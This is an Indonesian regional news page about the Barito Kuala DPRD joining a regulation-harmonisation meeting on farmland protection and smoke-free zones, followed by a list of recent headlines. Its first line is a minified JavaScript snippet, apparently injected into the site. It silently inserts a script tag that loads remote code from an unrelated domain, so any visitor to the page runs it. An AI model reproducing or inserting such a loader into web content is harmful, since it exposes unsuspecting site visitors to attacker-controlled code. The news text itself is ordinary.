(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

DPRD Kabupaten Barito Kuala Berperan Aktif dalam Harmonisasi Ranperda


KANALKALIMANTAN.COM,MARABAHAN – DPRD Kabupaten Barito Kuala turut berperan dalam kegiatan harmonisasi rancangan peraturan daerah (Ranperda) yang diadakan oleh Kantor Wilayah Kementerian Hukum dan HAM Kalimantan Selatan.

Kegiatan ini sebagai tindak lanjut dari permohonan pengharmonisasian yang diajukan melalui surat Ketua DPRD Kabupaten Barito Kuala Nomor 170/179/DPRD tanggal 8 Mei 2023.

Dalam rapat yang digelar di Balai Pertemuan Garuda pada Selasa (26/09), DPRD Kabupaten Barito Kuala turut serta dalam pembahasan dua Ranperda penting, yaitu Perlindungan Lahan Pertanian Pangan Berkelanjutan dan Perubahan Peraturan Daerah Kabupaten Barito Kuala Nomor 5 Tahun 2015 tentang Kawasan Tanpa Rokok.

Keterlibatan aktif DPRD dalam rapat ini menunjukkan keseriusan mereka dalam mengambil bagian dalam penyusunan regulasi yang berdampak langsung pada masyarakat. Peran DPRD turut memperkaya diskusi untuk mencapai hasil yang lebih baik.

JFT Perancang Peraturan Perundang-undangan Ahli Madya, Bahjatul Mardiah, menyampaikan apresiasi atas kontribusi DPRD Kabupaten Barito Kuala.

Dalam sambutannya, Bahjatul Mardiah mengajak anggota DPRD untuk berdiskusi dan memberikan masukan yang berharga terhadap dua Ranperda tersebut.

“Mari bersama-sama kita berdiskusi untuk memberikan masukan terhadap Ranperda Kabupaten Barito Kuala, sehingga nantinya dapat memberikan perlindungan lahan pertanian pangan berkelanjutan dan Ranperda tentang Kawasan Tanpa Rokok yang bertujuan untuk mempromosikan kesehatan masyarakat dan menciptakan lingkungan yang bebas dari asap rokok di wilayah Barito Kuala,” ujar Bahjatul.

Dengan demikian, peran DPRD Kabupaten Barito Kuala dalam menyumbangkan ide dan masukan dalam proses harmonisasi Ranperda ini tidak hanya mencerminkan komitmen mereka terhadap kepentingan masyarakat, tetapi juga mendukung pembuatan regulasi yang lebih efektif dan responsif terhadap kebutuhan lokal.(www.kanalkalimantan.com/kk)

Reporter : kk
Editor : kk


Muhammad Andi

Recent Posts

Curi 8 Dus Keju dan HP, DAF Tak Tahu Hendak Jual Kemana

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Reskrim Polsek Banjarmasin Timur berhasil menangkap seorang lelaki yang terlibat… Read More

1 jam ago

2025, Pemkab HSU Bakal Naikan Insentif Ustadz-Ustadzah TPA

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) melalui Bagian Kesejehteraan Rakyat (Kesra) Sekretariat… Read More

1 jam ago

Gelar FKP, Usaha Balai Besar Labkesmas Banjarbaru Tingkatan Pelayanan

KANALKALIMANTAN.COM, BANJARBARU - Balai Besar Laboratorium Kesehatan Masyarakat (BB Labkesmas) Banjarbaru Kalimantan Selatan (Kalsel) menerima… Read More

13 jam ago

“Dialektika di Ujung Joran” Dapur Budaya HSS Juara Kompetisi Film Pendek Dispersip Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Kompetisi film pendek yang diselenggarakan Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan… Read More

13 jam ago

Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL

KANALKALIMANTAN.COM, BANJARBARU - Instalasi pengolahan air limbah milik Aeris Hotel diduga mengeluarkan aroma tak sedap.… Read More

14 jam ago

Kasus Penusukan Siswa SMAN 7 Banjarmasin, ABH Dijatuhi Hukuman Pembinaan 1 Tahun

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Negeri (PN) Banjarmasin menyatakan Anak yang Berhadapan dengan Hukum (ABH),… Read More

15 jam ago

This website uses cookies.